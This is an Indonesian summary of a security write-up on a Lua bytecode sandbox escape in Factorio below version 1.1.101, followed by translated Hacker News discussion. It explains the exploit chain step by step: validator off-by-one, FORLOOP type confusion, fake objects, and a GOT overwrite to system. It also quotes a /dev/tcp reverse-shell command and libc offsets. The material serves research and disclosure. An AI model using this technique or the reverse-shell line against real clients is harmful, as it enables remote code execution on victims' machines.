- Kerentanan pada implementasi Lua di Factorio memungkinkan server berbahaya memperoleh eksekusi kode arbitrer pada klien yang terhubung, dan cakupan dampaknya adalah versi di bawah 1.1.101 yang kini sudah ditambal
- Karena multipemain menjalankan kode Lua yang sama dengan arsitektur lockstep deterministik, penyerang dapat memicu kerentanan melalui peta kustom berbahaya di jalur jaringan
- Inti masalahnya ada pada eksekusi bytecode yang diizinkan oleh
load/loadstringdalam modulbase, sertaOff-By-Onedan tidak adanya validasi tipe pada validator buatan Factorio - Eksploit memanfaatkan type confusion
FORLOOPuntuk membocorkan alamat, lalu memanipulasi indeks upvalue agarLClosuredanTStringtertukar, sehingga bisa membangun objek palsu dan primitive baca/tulis arbitrer - RCE di Linux dilakukan dengan mengganti alamat
ldexpdi GOT menjadisystemdan menyalahgunakan pemanggilanmath.ldexp, sambil melakukan penyesuaian terpisah karena perbedaan offset struct Factorio dan format%a
Cakupan kerentanan dan jalur paparan Lua
- Kerentanan pada implementasi Lua di Factorio memungkinkan server berbahaya memperoleh eksekusi kode arbitrer di klien, dan memengaruhi versi Factorio di bawah 1.1.101
- Lua digunakan di Factorio untuk logika permainan, mod, dan implementasi peta kustom
- Mod bisa diperoleh di dalam game atau dari Factorio Mods
- Komunitas modding memiliki ribuan mod, dan beberapa di antaranya telah diunduh lebih dari 500 ribu kali
- Sekilas ini tampak seperti serangan lokal yang mengharuskan korban memasang mod berbahaya secara langsung, tetapi karena mekanisme sinkronisasi multipemain, interpreter Lua terekspos ke jalur jaringan
- Multipemain Factorio menggunakan lockstep deterministik
- Yang dikirim lewat jaringan bukan state game itu sendiri, melainkan hanya input pengguna
- Game semua pemain harus mensimulasikan setiap tick secara identik
- Jika satu pemain mengeksekusi kode Lua, pemain lain juga harus mengeksekusi kode yang sama demi sinkronisasi
- Jalur yang bisa dipakai penyerang untuk mengeksekusi kode Lua diringkas menjadi dua
- Saat memiliki otoritas, menjalankan kode Lua dari server dengan perintah
/c - Membuat peta kustom yang berisi kode Lua agar dijalankan klien saat tersambung ke server
- Saat memiliki otoritas, menjalankan kode Lua dari server dengan perintah
- Jika server berbahaya ditampilkan di browser server, maka bisa terbentuk alur di mana korban mengunduh peta dan mengeksekusi kode Lua
Alur serangan secara keseluruhan
- Serangan dimulai dari server Factorio yang menyajikan peta berbahaya
- Kode Lua skenario pada peta menyertakan eksploit
- Saat klien tersambung ke server, ia akan mengunduh peta dan menjalankan kode Lua terkait
- Setelah itu, kelemahan implementasi Lua dimanfaatkan untuk membangun objek palsu (fake object)
- Objek palsu memungkinkan kebocoran memori dan korupsi memori
- Hasilnya, penyerang dapat membentuk berbagai primitive yang berujung pada eksekusi kode
- Dalam bahasa dinamis, objek palsu adalah sarana kunci bagi penyerang untuk memperoleh kendali yang kuat
- String dapat dipakai untuk kebocoran data arbitrer
- Array atau tabel dapat dipakai untuk tulis memori arbitrer
- Jika ada jalur pemanggilan fungsi native, itu dapat berkembang menjadi kontrol alur eksekusi
Eksekusi bytecode Lua dan masalah validator
- Modul Lua yang disertakan di Factorio terbatas
debug: akses ke fitur debuggingmath: antarmuka matematika C standarbit32: operasi bitstring: manipulasi stringtable: manipulasi tabelbase: fungsi inti Lua sepertiprint
- Modul yang jelas berbahaya seperti
os.executememang tidak ada, tetapiloaddanloadstringpada modulbasetetap memungkinkan eksekusi bytecode, sehingga permukaan serangannya besar - Lua mula-mula mengompilasi source code menjadi bytecode Lua, lalu mengeksekusinya di interpreter
- Bytecode bukan machine code CPU, melainkan representasi yang hanya bisa dijalankan interpreter Lua
- Jika bytecode dapat disuntikkan secara langsung, maka bytecode rusak yang tidak mungkin dihasilkan kompiler normal pun bisa dijalankan
- Pengembang Lua mengetahui risiko eksekusi bytecode arbitrer dan pernah membuat validator, tetapi menghapusnya di Lua 5.2
- Di mailing list Lua dijelaskan bahwa validator lama berulang kali berhasil dilewati, dan aplikasi yang mengeksekusi kode Lua arbitrer sebaiknya tidak menerima precompiled script
- Pengembang Factorio tampaknya menerapkan validator bytecode sendiri pada Lua 5.2.1
- Logika perlindungannya berfokus mencegah parameter OOB yang jelas, seperti lompatan ke luar kode atau indeks di luar rentang array konstanta
- Karena semantik beberapa opcode, muncul masalah
Off-By-One, dan penanganan offset lompatan sepertiJMP 0memungkinkan lompatan ke luar blok kode - Karena area konstanta dapat dialokasikan setelah chunk kode, penyerang dapat menyimpan bytecode di bagian konstanta dan mengeksekusinya dengan melewati pemeriksaan lewat lompatan off-by-one
Kebocoran alamat: type confusion FORLOOP
- Objek internal Lua direpresentasikan sebagai
TValueTValueterdiri dari area nilaiValuedantt_yang menunjukkan tipeValueberukuran 8 byte dan ditafsirkan sebagai double atau pointer tergantung tipenya
- Di Lua 5.2, semua angka direpresentasikan sebagai double
- Angka dapat disimpan inline di dalam union
Valuetanpa melalui pointer - Jika pointer string dipaksa ditafsirkan sebagai angka, bit pointer bisa bocor sebagai nilai double
- Angka dapat disimpan inline di dalam union
- Di Lua biasa,
print(function)dapat menampilkan alamat, tetapi ini dihapus di Factorio, dan alamat string juga tidak bisa dibocorkan secara langsung - Opcode loop
FORLOOPnormalnya harus datang setelahFORPREPFORPREPmemeriksa bahwa nilai awal, batas, dan step adalah angka- Di dalam
FORLOOP, tipe parameter step tidak diperiksa, dan pemeriksaan berbasislua_asserttidak dipaksakan pada build default
- Penyerang dapat memanipulasi bytecode agar
FORPREPdihapus dan hanyaFORLOOPyang dijalankan- Dengan bytecode, bisa dibuat keadaan yang tidak akan pernah dihasilkan kompiler dari source Lua normal
- Jika objek seperti string diletakkan di posisi step, pointer di
TValuetersebut akan ditafsirkan sebagai double dan bocor
- Nilai bocor itu bukan double normal, melainkan hasil penafsiran bit pointer sebagai double, sehingga tampak sebagai nilai kecil seperti
2.1944577826691e-317- IEEE 754 binary64 terdiri dari 1 bit tanda, 11 bit eksponen, dan 52 bit mantissa
- Jika nilai pointer tampak seperti double terdenormalisasi, nilai aslinya dapat dipulihkan dari mantissa
- Lua 5.2 tidak memiliki pack/unpack maupun tipe integer, sehingga konversinya rumit
- Awalnya digunakan
string.format("%.13a", double)untuk membaca mantissa dan eksponen lalu memulihkan pointer - Contoh nilai bocor berhasil dipulihkan menjadi pointer
0x43d6c0, dan data string sebenarnya berada 24 byte setelah headerTString
- Awalnya digunakan
Manipulasi upvalue dan type confusion LClosure
- Upvalue adalah mekanisme Lua untuk mengakses variabel di luar scope fungsi saat ini
- Informasi upvalue pada bytecode mencakup indeks, nama, apakah berada di stack, dan indeks stack
- Penyerang dapat memodifikasi indeks upvalue yang tertanam di bytecode
- Dengan mengubah indeks upvalue, referensi bisa diarahkan bukan ke variabel lokal semula, melainkan ke
TValuelain di stack- Dalam contoh, indeks upvalue
targetdinaikkan satu sehingga menunjuk keLClosurefungsi saat ini - Bytecode yang dimanipulasi lalu mencetak
LClosure: 0x...alih-alihnil
- Dalam contoh, indeks upvalue
- Di Lua, unit eksekusi nyata fungsi dibagi menjadi Prototype dan Closure
Protoberperan sebagai template fungsi yang memuat bytecode, konstanta, baris source, dan informasi upvalueLClosuredibuat saat runtime dan menghubungkanProtodengan daftar upvalue
- Opcode
CLOSUREmembuat closure Lua baru, meletakkannya di stack, lalu menginisialisasi upvalue-nya- Jika ada 3 variabel lokal,
LClosurebaru bisa ditempatkan dibase + 3 - Jika indeks upvalue diubah menjadi
3, makaTValueLClosuredi posisi itu bisa diambil
- Jika ada 3 variabel lokal,
- Jika fungsi internal menimpa
LClosuremilik fungsi luar dengan string, setelah return Lua akan mencoba memakai string itu sebagaiLClosuredan terjadilah crash- Pemeriksaan tipe pada jalur
OP_RETURNbergantung padalua_assert, yang tidak dipaksakan pada konfigurasi default - Akibatnya,
clpada frame eksekusi saat ini dapat menunjuk bukan keLClosureasli, melainkan keTStringyang dikendalikan penyerang
- Pemeriksaan tipe pada jalur
- Dengan memanfaatkan perbedaan layout
TStringdanLClosure, area data pengguna string dapat bertumpang tindih dengan posisiProto *pdanUpval **upval- Type confusion ini memungkinkan kontrol atas pointer prototype fungsi dan pointer array upvalue
- Jika diarahkan ke area memori yang bisa dikendalikan, maka objek palsu dapat dibuat
Objek palsu dan primitive baca/tulis
- Jalur pembuatan objek palsu pada dasarnya ada dua
- Jalur yang membuat
Protopalsu menunjuk ke arrayTValuepalsu - Jalur yang membuat array
UpValpalsu menunjuk keTValuepalsu
- Jalur yang membuat
- Jalur konstanta dipilih karena padding-nya lebih sedikit dan konstanta bisa dipakai ulang di dalam fungsi
TStringpalsu- Array
TValueyang menunjuk keTStringpalsu Protoyang menunjuk ke arrayTValuepalsuLClosureyang menunjuk keProtopalsu
TStringpalsu bisa diberi panjang arbitrer yang sangat besar dan dipakai sebagai primitive baca- Data string Lua diasumsikan berada setelah header
TString - Dengan
str:sub(), memori dalam rentang yang disentuh string palsu dapat dibaca - Karena indeks string Lua dimulai dari 1, diperlukan koreksi 1 byte dalam perhitungan header
- Data string Lua diasumsikan berada setelah header
- Primitive tulis dibuat dengan menjadikan
UpValpalsu menunjuk keTValuepada alamat target tulis- Jika angka ditugaskan ke variabel Lua, maka
TValueangka akan ditulis ke lokasi tersebut - Angka disimpan inline pada 8 byte pertama
TValue, sehingga area nilainya bisa dikendalikan - Pada saat yang sama, 8 byte berikutnya berisi informasi tipe, sehingga memori di sekitarnya juga bisa rusak
- Jika angka ditugaskan ke variabel Lua, maka
- Karena angka Lua bertipe double, menulis pola bit integer yang diinginkan memerlukan konversi
- Digunakan unit terkecil double terdenormalisasi, yaitu
2^-1074 - Bentuknya adalah
integer_to_double(integer) = integer * 2^-1074untuk mengodekan integer ke representasi double
- Digunakan unit terkecil double terdenormalisasi, yaitu
Kontrol instruction pointer dan bypass ASLR
Light C Functiondi Lua menyimpan function pointer secara inline di dalamTValue- Tipe fungsi adalah
LUA_TFUNCTION, danLight C Functiondirepresentasikan sebagai nilaiLUA_TLCFyaitu22 - Jika area nilai
TValuediisi0xdeadbeefdan area tipenya diisi22, maka itu dapat dipanggil seperti fungsi pada alamat tersebut
- Tipe fungsi adalah
- Dengan memanggil
Light C Functionpalsu, instruction pointer bisa dikendalikan- Dalam contoh,
RIPmenjadi0xdeadbeeflalu crash - Setelah itu, teknik pengubahan alur eksekusi seperti ROP chain dapat diterapkan
- Dalam contoh,
- Fakta bahwa pointer
Light C Functiondisimpan inline juga berguna untuk kebocoran alamat- Jika fungsi Lua diimplementasikan sebagai light C function, alamat fungsi seperti
printbisa dibaca lewat primitive kebocoran alamat - Dari situ dapat dihitung base address yang dibutuhkan untuk melewati ASLR
- Jika fungsi Lua diimplementasikan sebagai light C function, alamat fungsi seperti
- Jika fungsi yang disandbox masih tersisa di dalam biner, bypass juga bisa dilakukan dengan membuat fake function yang menunjuk ke alamat tersebut lalu memanggilnya
Penyesuaian khusus untuk Factorio
- Pengujian awal dilakukan pada interpreter Lua resmi, tetapi implementasi Lua di Factorio memiliki layout struct yang berbeda
CommonHeaderpada objek GC Factorio menambahkan pointerprevious- Lua resmi memiliki struktur
next,tt,marked - Factorio tampaknya memiliki struktur
previous,next,tt,marked
- Lua resmi memiliki struktur
- Perbedaan ini menggeser beberapa offset sebesar 8 byte
- Header
TStringmenjadi 32 byte, bukan 24 byte - Perhitungan alamat isi string dan alamat relatif untuk primitive baca harus disesuaikan
- Perhitungan
UpValpalsu dan fake closure juga harus memperhitungkan pointer tambahan ini
- Header
- Di Factorio, perilaku format
%ajuga berbeda dari pengujian Lua resmistring.format("%.13a", 2.1038461432219e-316)tidak menghasilkan0x0.000000289c130p-1022seperti yang diharapkan, melainkan bentuk0xa.2704c00000000p-1052- Karena itu, pemulihan double berbasis format string menjadi rusak
- Konversi akhirnya diubah menjadi metode numerik murni
- Nilai terdenormalisasi dapat dipandang seolah semua integer dimulai dari bit paling rendah di sisi kanan
double_to_number(double) = double * 2^52 * 2^1022digunakan untuk memulihkan nilai bocor- Karena
2^1074tidak bisa direpresentasikan sebagai double, perkalian itu dipecah menjadi dua tahap
RCE Linux: penggantian GOT dan math.ldexp
- Di Linux, jalur RCE yang dipilih memakai penggantian GOT alih-alih ROP chain
- Dicari imported function yang dapat dipanggil dari Lua dan argumen pertamanya bisa dikendalikan
- Entri GOT fungsi tersebut ditimpa dengan alamat
system - Fungsi itu lalu dipanggil dari Lua agar bertindak seperti
system(command)
- Dalam pustaka Lua terbatas milik Factorio,
math.ldexpmenjadi fungsi yang cocok- Secara internal ia memanggil
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2)) - Dari pemeriksaan GDB terlihat bahwa argumen Lua kedua diteruskan sebagai argumen register pertama
RDIpada pemanggilan libc
- Secara internal ia memanggil
- Karena GOT berada sebelum heap, primitive baca string palsu yang sudah ada sulit dipakai untuk membaca langsung ke sana
- Primitive baca hanya bisa membaca alamat setelah header string palsu
- Digunakan writable segment yang berada sebelum GOT untuk membangun
TStringpalsu di lokasi sebelum GOT
- Dengan menempatkan
TStringpalsu di depan GOT, alamat fungsi libc dapat dibaca untuk melewati ASLR- Dalam contoh, alamat
memcpydibaca dari GOT - Dengan offset libc 2.38 Fedora 39, dihitung
libc_base = memcpy - 0x138b80,system = libc_base + 0x2a3b0
- Dalam contoh, alamat
- Setelah itu, entri GOT
ldexpditimpa dengan alamatsystem- Dalam contoh alamat, lokasi
0x289ef00digunakan sebagai entri GOTldexp - Penimpaan dilakukan dalam bentuk
write(0x289ef00, system)
- Dalam contoh alamat, lokasi
Eksekusi perintah dan shell jarak jauh akhir
- Pada awalnya, perintah hendak disimpan di string Lua lalu dipanggil dengan
math.ldexp(0, addr_of(cmd) + 32)- Perintahnya berbentuk
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" - Namun Lua memanggil
ldexpdengan parameter 32-bit, sehingga bit atas alamat string terpotong dan gagal
- Perintahnya berbentuk
- Solusinya adalah menulis string perintah langsung ke writable segment biner yang sebelumnya dipakai saat membuat string palsu
- Karena PIE tidak aktif, alamat biner utama cukup kecil
- String perintah ditulis lewat beberapa kali
write()di sekitar alamat0x289c150
- Pemanggilan
math.ldexp(0, 0x289c150)setelah GOT diganti akan bertindak seperti pemanggilansystem(0x289c150) - Hasil eksekusi akhirnya dikonfirmasi sebagai shell yang terhubung ke listener lokal
nc -lvp 9001- Prompt shell adalah
sh-5.2$ - Hasil
whoamiadalahvictim
- Prompt shell adalah
Tantangan latihan dan referensi
- Di akhir tulisan juga tersedia tantangan berbasis browser untuk keluar dari interpreter Lua dan mengeksekusi fungsi JavaScript yang tidak bisa dipanggil langsung dari kode Lua
- Tantangan: Escape from Alcawasm
- Tautan referensi terkait
- Latar belakang penghapusan validator bytecode Lua: salinan Wayback mailing list lua-l
- Kode validator Lua Factorio: Factorio Lua
- Implementasi angka di Lua: Programming In Lua: Numbers
- Closure di Lua: Programming in Lua: Closures
- Penjelasan format
%a: GNU libc Floating-Point Conversions - Referensi eksploit Lua 5.1 di Windows 32-bit: Exploiting Lua 5.1 on 32-bit Windows
1 komentar
Komentar Hacker News
Tidak terduga
Karena Lua menginterpretasikan bytecode, saya mengira ia bisa memeriksa apakah argumen instruksi bermakna. Misalnya apakah argumen itu menunjuk ke memori yang dialokasikan Lua, dan hal-hal semacam itu
Namun ternyata tidak begitu; bytecode dengan argumen yang salah pun tetap dijalankan apa adanya. Proses komprominya kemudian berlanjut dari sana
Selain itu, alih-alih memperbaiki interpreter, rencananya adalah menganalisis bytecode secara statis, tetapi ini tampaknya hanya berhasil untuk kasus-kasus sederhana
Untuk bahasa interpreter yang ramah sandbox, ini cukup mengecewakan, dan saya penasaran apakah mereka akan menerima patch yang memperbaiki interpreter agar tidak memercayai input. Mereka tampaknya khawatir soal penurunan performa, tetapi itu meragukan ketika opsi cepatnya adalah LuaJIT
Pendekatan ini tampak masuk akal karena tetap menyisakan opsi untuk memuat bytecode tepercaya secara langsung, tanpa perlu memasukkan pemeriksaan dinamis ke interpreter yang berdampak pada semua pengguna
Secara desain, Lua tidak memberikan jaminan terminasi, dan tidak ada cara yang baik untuk memaksa program yang tidak tepercaya berhenti. Jika menerima input Lua yang tidak tepercaya, Anda harus menganggap program bisa macet tanpa batas waktu
Lua sangat bagus untuk input semi-tepercaya yang setidaknya telah melalui uji kelayakan minimal, seperti kode yang diunduh dari internet. Bahkan jika kodenya benar-benar berbahaya, kerusakannya bisa sangat dibatasi, meski tidak dihilangkan sepenuhnya
Jika membutuhkan input yang sepenuhnya tidak tepercaya ala JavaScript, fork Roblox, Luau, adalah pilihan yang tepat: https://luau-lang.org/sandbox
Seperti yang telah ditunjukkan bahasa lain, membuat interpreter yang aman untuk bytecode bukanlah hal sederhana. Ini juga merupakan kompromi untuk membuat implementasi referensi tetap sederhana
Dalam hal menjalankan kode pihak ketiga, saya tidak memercayai sebagian besar interpreter semacam ini. Bahkan browser pun baru nyaris saya percayai, mengingat biaya riset dan pengembangan serta perhatian yang diterima browser web
Sama seperti tidak menjalankan kode mesin arbitrer
Luau juga memiliki sifat yang sama, tetapi bukankah Roblox tidak selalu menderita karena sandbox escape?
Saya berharap bagian-bagian seperti ini didefinisikan atau didokumentasikan dengan lebih jelas. Saat ini kita harus mencari tahu sendiri bahasa mana yang dijamin cukup aman
Misalnya ada kasus dasar di mana kode statis dijalankan langsung oleh pengguna, dan inilah yang biasanya diperhatikan bahasa-bahasa, termasuk Lua
Ada juga kasus ketika kode diterima dan dijalankan secara dinamis dalam proses pembaruan, tetapi hanya melalui kanal resmi. Dalam kasus ini, mungkin cukup dengan membuat prosesnya aman, tetapi itu belum pasti
Ada pula kasus ketika pengguna dapat menambahkan kode sebagai plugin dan memasangnya dengan mudah lewat satu tombol di store. Plugin memang bisa ditinjau, tetapi biasanya hampir tidak dilakukan dengan baik, jadi perlu dipertimbangkan apakah sandbox diperlukan atau pengguna harus berhati-hati
Ada juga game multipemain di mana hanya server yang diperluas dengan plugin, sementara klien tidak. Perlu dipertimbangkan bahwa gamer yang menjalankan server akan aktif mencoba berbagai plugin, dan komunitas pluginnya juga bisa jauh lebih berisiko
Terakhir, ada game multipemain seperti browser, di mana server dapat menjalankan kode arbitrer di klien. Dalam kasus ini, perlu sangat berhati-hati khususnya terhadap sandbox di sisi klien. Sebab gamer masuk ke server arbitrer tanpa memikirkan dampak keamanannya
Factorio tepat berada pada kasus terakhir. Saya tidak sepenuhnya menentang bahwa pengembang harus mengevaluasi hal ini, tetapi misalnya fakta bahwa fungsi
loadLua dapat menjalankan bytecode arbitrer yang tidak aman tidak selalu jelasJujur, saya tidak tahu bahwa bytecode Lua tidak aman, dan saya tahu bahwa bytecode LuaJIT tidak aman. Namun fakta ini tampaknya hanya tertulis sesekali di mailing list atau issue GitHub seolah-olah sudah menjadi pengetahuan umum
Ada juga masalah bahwa server dapat membuat klien macet. Cukup jalankan infinite loop. Namun ini jauh lebih sulit dihindari, dan mungkin upaya menghindarinya pun tidak ada gunanya
Tidak ada opsi di sisi klien untuk mematikan browser, dan setahu saya para pengembang akhirnya menonaktifkannya sepenuhnya, meski saya tidak yakin dengan statusnya sekarang
Ini menunjukkan betapa kompleksnya game dan game engine sekarang. Browser web tertanam muncul di tempat yang tampaknya tidak punya alasan khusus
Di balik Factorio ada tim pengembang yang sangat bagus, jadi saya percaya mereka berusaha sebaik mungkin untuk memperbaiki masalah seperti ini. Hanya saja, pengembangan gim secara umum sangat bersifat kreatif, sehingga hal-hal seperti praktik penulisan kode atau keamanan tampaknya terdorong ke belakang
Saya jadi penasaran berapa banyak kerentanan zero-day yang tersembunyi di klien dan server gim
Flatpak bisa membantu sebagai titik awal. Kontainer memang bukan batas keamanan yang kuat, tetapi bisa menahan eksploit sederhana
Itu bukan sekadar keputusan bisnis agar orang memakai layanan online resmi. Jika koneksi ke IP server pihak ketiga diblokir, bug serius pada kode jaringan atau bagian lain dari gim tidak akan pernah bisa dieksploitasi. Dengan membatasi mod, bahkan mod yang “aman” seperti Lua, eksploit bisa makin dicegah
Kode jaringan yang penuh bug secara historis pernah meruntuhkan DRM beberapa konsol
Selain eksploit, konsol juga bangga bahwa kode harus melalui peninjauan sebelum didistribusikan. Mengizinkan eksekusi Lua dari sistem jarak jauh berarti gim dapat dikonfigurasi ulang dari jarak jauh oleh pengembangnya sendiri bahkan setelah disetujui, dan produsen konsol tidak ingin mengizinkan hal ini tanpa pemeriksaan yang sangat cermat
Idealnya diisolasi dalam mesin virtual, tetapi menyiapkan mesin virtual untuk gim sangat merepotkan, dan pada sebagian gim yang memakai anti-cheat bisa membuat Anda tidak bisa ikut bermain
Mengingat bidang lain sangat membutuhkan orang yang pandai memrogram, rasanya hampir disayangkan orang-orang terampil bekerja di bidang gim
Secara umum, verifikasi program sangat sulit bukan hanya karena teorema Rice. Khususnya pada bahasa bytecode yang tidak sepele seperti Lua, sangat mudah ada titik yang terlewat. Wasm, misalnya, tidak punya konsep for loop
Agak aneh bahwa setelah proyek upstream menyerah karena masalah ini terlalu sulit, para pengembang Factorio mencoba memperbaiki verifier atau menulisnya sendiri
Fungsi
loadstringmilik Minetest sepenuhnya melarang bytecode: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...Saya penasaran mengapa mod Factorio perlu kemampuan menjalankan bytecode Lua mentah. Jika tidak perlu, verifier juga tidak diperlukan
Sejak awal, menjalankan kode Lua yang diunduh melalui jaringan cukup berbahaya. Lingkungan eksekusi JavaScript telah melalui siklus penemuan dan perbaikan eksploit selama puluhan tahun. Lua juga mengalami hal semacam itu, tetapi skalanya lebih kecil dan jumlah orang untuk meningkatkan keamanannya juga lebih sedikit
Perlindungan utamanya mungkin justru karena lebih sedikit orang yang menjalankan server gim berbahaya
Karena alasan keamanan serupa, hampir seluruh pustaka debug juga menjadi tidak dapat digunakan oleh mod
loadstring()LuaMisalnya ada tulisan dari pengembang ROBLOX 12 tahun lalu: https://archive.is/oXPyM
Jujur saja, lebih baik dinonaktifkan secara default. Penggunaan yang sah cukup niche
Selain itu, membuat perangkat lunak yang begitu saja tidak bisa dijalankan dalam lingkungan Turing-complete cukup membatasi
Bagaimanapun, yang benar-benar dibutuhkan adalah interpreter dengan sistem izin yang kuat
Namun jika Anda berkompromi dengan hanya menerima sebagian input yang memenuhi kebutuhan nyata, teorema Rice selesai. Sekarang yang tersisa bukan pekerjaan yang mustahil, melainkan pekerjaan yang sangat sulit
Kalaupun gagal, setidaknya mungkin ada hiburan bahwa Anda tidak akan diberi tahu bahwa itu sejak awal mustahil
Factorio seharusnya tidak mengambil jalan ini
Ini pertanyaan sangat pemula, tetapi saya penasaran mengapa gim memakai Lua dan bukan, misalnya, JavaScript tertanam dengan antarmuka terdefinisi seperti API untuk menyesuaikan status gim
Rasanya bisa mendapat manfaat dari pekerjaan penguatan yang jauh lebih besar yang sudah dilakukan untuk isolasi lingkungan browser. Browser itu sulit, sangat teruji, dan menjadi target dengan pendanaan besar
Optimisasi performa untuk tipe dinamis juga sudah dikerjakan secara masif
Selain itu, jika mod membutuhkan UI, ada canvas, dan jika menyediakan model mirip DOM, hal seperti React juga berpotensi dimungkinkan
Lua dibuat khusus untuk integrasi, jadi ada banyak materi dan komunitas besar yang mendukungnya
Selain itu, Anda mencampuradukkan API browser umum dengan JavaScript. Engine JavaScript tidak menyediakan canvas atau DOM. Misalnya V8 juga tidak menyediakannya; hal-hal seperti itu harus Anda tambahkan sendiri
Saya bukan pengembang keamanan, tetapi secara formal saya ingin berkata, “Wow, ini sangat mengesankan!” Sulit dipercaya betapa jernih dan logisnya seseorang harus berpikir untuk melacak kasus kegagalan serumit ini. Jelas itu bukan kekuatan saya; saya jauh lebih cocok sebagai “orang ide”
Dari sisi isi, rasanya kita benar-benar tamat kalau muncul sekelompok software engineer AI yang dibekali 10 ribu tulisan blog yang mencari exploit memori aneh seperti ini
Pada akhirnya, menurut saya kita membutuhkan paradigma yang sama sekali baru untuk keamanan, atau setidaknya elemen baru di dalam stack. Pembicaraan tentang klien “tepercaya” modern atau peran DB terasa seperti menambal lubang-lubang keju Swiss
Semoga saja kita bisa menambahkan satu lapisan keju Swiss baru lagi yang dikelola LLM
Jadi, bukankah ini menunjukkan exploit yang bergantung pada pemuatan bytecode, sebuah fitur yang memang dipromosikan sebagai bisa disalahgunakan? Apa yang saya lewatkan?
jmp, atau masalah interpreter Lua yang mencoba menafsirkan semua yang didapatnya sebagai instruksiBahkan bagian data yang tidak disentuh verifier pun coba ditafsirkan
loadstringdinonaktifkanBenar-benar melegakan orang-orang secakap ini berada di pihak yang baik
Media berita membuat kita percaya sebaliknya, dan komentar rata-rata di berita semacam itu juga memperkuat keyakinan tersebut, tetapi kalau memang begitu, bagaimana mungkin berbagai kemewahan serta program dukungan medis dan sosial yang kita nikmati bisa ada
Bukan berarti dunia tidak punya masalah, tetapi jelas ada jauh lebih banyak orang yang konstruktif daripada orang yang destruktif
Saya baru saja datang dari thread HN tentang Panama Papers, jadi pemikiran ini lebih terasa. Di sana suasananya sinis, seolah semua orang kaya itu jahat dan semuanya sepenuhnya lolos dari penuntutan, tetapi beberapa komentar dengan tepat menunjukkan bahwa keduanya sebenarnya tidak benar. Hanya saja kita perlu membaca agak ke bawah di thread itu dan tidak terbawa sinisme
Menurut saya bytecode Lua sama sekali tidak boleh dipakai di luar sistem embedded yang kekurangan sumber daya untuk menjalankan parser kode sumber Lua
Selain kerentanan keamanan, satu-satunya kegunaan yang tampak masuk akal adalah untuk program sumber tertutup
Mungkin saya melewatkannya, dan saya akui saya hanya membaca sekilas bagian akhir, tetapi sepertinya penulis sama sekali tidak membahas mitigasi apa yang benar-benar dilakukan. Saya ingin mendengar lebih banyak tentang bagian itu
1.1.104: https://github.com/Rseding91/Factorio-Lua/commit/4d924b69808...
dan 1.1.107: https://github.com/Rseding91/Factorio-Lua/commit/ce12474c7fc...
Bagian yang paling relevan adalah perubahan
luaB_loaddi 1.1.104, yang sekadar menonaktifkan pemuatan bytecode